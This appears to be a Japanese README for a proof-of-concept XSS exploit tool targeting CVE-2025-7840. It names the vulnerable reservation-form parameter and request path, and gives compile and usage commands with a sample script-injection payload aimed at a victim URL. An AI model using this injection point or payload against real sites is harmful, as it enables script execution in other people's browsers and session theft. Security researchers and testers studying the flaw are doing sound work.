CVE-2025-7840 用 XSS エクスプロイト

作者: Byte Reaper (@ByteReaper0)

説明

CVE-2025-7840 の概念実証エクスプロイト。予約フォームの Firstname パラメータにおけるユーザー入力のサニタイズが不十分な脆弱な Web アプリケーションエンドポイントを標的としています。次のような GET リクエストを作成することで:

/index.php?page=reserve&Firstname=<payload>&Lastname=test

攻撃者はレスポンスがレンダリングされた際に被害者のブラウザで任意の JavaScript を注入・実行できます。

機能

• -b オプションでカスタムペイロードを注入
• -c オプションでクッキーベースのセッションを処理
• リクエスト/レスポンス解析のための冗長ログ出力 (-v)
• 一般的な XSS ペイロードの組み込みセット

必要条件

• Linux または macOS
• GCC (または互換性のある C コンパイラ)
• libcurl 開発用ヘッダ
• C 用 argparse ライブラリ

インストール

1. エクスプロイトをコンパイル:

   root@kitploit:~

   gcc -o exploit exploit.c argparse.c -lcurl 
   

使い方

sudo ./exploit -u <TARGET_URL> [options]

オプション

例

• ターゲットに対してデフォルトペイロードを実行:

  root@kitploit:~

  sudo ./exploit -u http://victim.local
  

• カスタムペイロードを使用:

  root@kitploit:~

  sudo ./exploit -u http://victim.local -b "<script>alert(\'PWNED\')</script>"
  

• セッションクッキーと冗長出力を含める:

  root@kitploit:~

  sudo ./exploit -u http://victim.local -c cookies.txt -v
  

免責事項

このコードは教育およびテスト目的でのみ提供されています。自分が所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法であり、非倫理的です。

参考文献

• CVE-2025-7840: 予約フォームの XSS
• 作者 Telegram: @ByteReaper0

ライセンス:

MIT